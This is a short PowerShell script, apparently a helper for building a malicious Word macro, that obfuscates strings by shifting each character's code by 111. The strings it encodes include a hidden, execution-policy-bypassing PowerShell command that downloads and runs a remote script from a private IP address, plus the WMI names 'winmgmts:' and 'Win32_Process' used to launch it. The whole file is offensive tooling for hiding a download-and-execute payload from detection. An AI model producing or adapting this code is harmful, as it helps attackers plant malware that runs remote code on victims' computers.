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VBA_XORencrypt.ps1
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VBA_XORencrypt.ps1
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$payload = "powershell -exec bypass -nop -w hidden -c iex(new-object net.webclient).downloadstring('http://192.168.88.175/platform.txt')"
[string]$output = ""
$payload.ToCharArray() | %{
[string]$thischar = [byte][char]$_ + 111
if($thischar.Length -eq 1)
{
$thischar = [string]"00" + $thischar
$output += $thischar
}
elseif($thischar.Length -eq 2)
{
$thischar = [string]"0" + $thischar
$output += $thischar
}
elseif($thischar.Length -eq 3)
{
$output += $thischar
}
}
$output
write-output ""
$payload = "winmgmts:"
[string]$output = ""
$payload.ToCharArray() | %{
[string]$thischar = [byte][char]$_ + 111
if($thischar.Length -eq 1)
{
$thischar = [string]"00" + $thischar
$output += $thischar
}
elseif($thischar.Length -eq 2)
{
$thischar = [string]"0" + $thischar
$output += $thischar
}
elseif($thischar.Length -eq 3)
{
$output += $thischar
}
}
$output
write-output ""
$payload = "Win32_Process"
[string]$output = ""
$payload.ToCharArray() | %{
[string]$thischar = [byte][char]$_ + 111
if($thischar.Length -eq 1)
{
$thischar = [string]"00" + $thischar
$output += $thischar
}
elseif($thischar.Length -eq 2)
{
$thischar = [string]"0" + $thischar
$output += $thischar
}
elseif($thischar.Length -eq 3)
{
$output += $thischar
}
}
$output
write-output ""
$payload = "Doc1.doc"
[string]$output = ""
$payload.ToCharArray() | %{
[string]$thischar = [byte][char]$_ + 111
if($thischar.Length -eq 1)
{
$thischar = [string]"00" + $thischar
$output += $thischar
}
elseif($thischar.Length -eq 2)
{
$thischar = [string]"0" + $thischar
$output += $thischar
}
elseif($thischar.Length -eq 3)
{
$output += $thischar
}
}
$output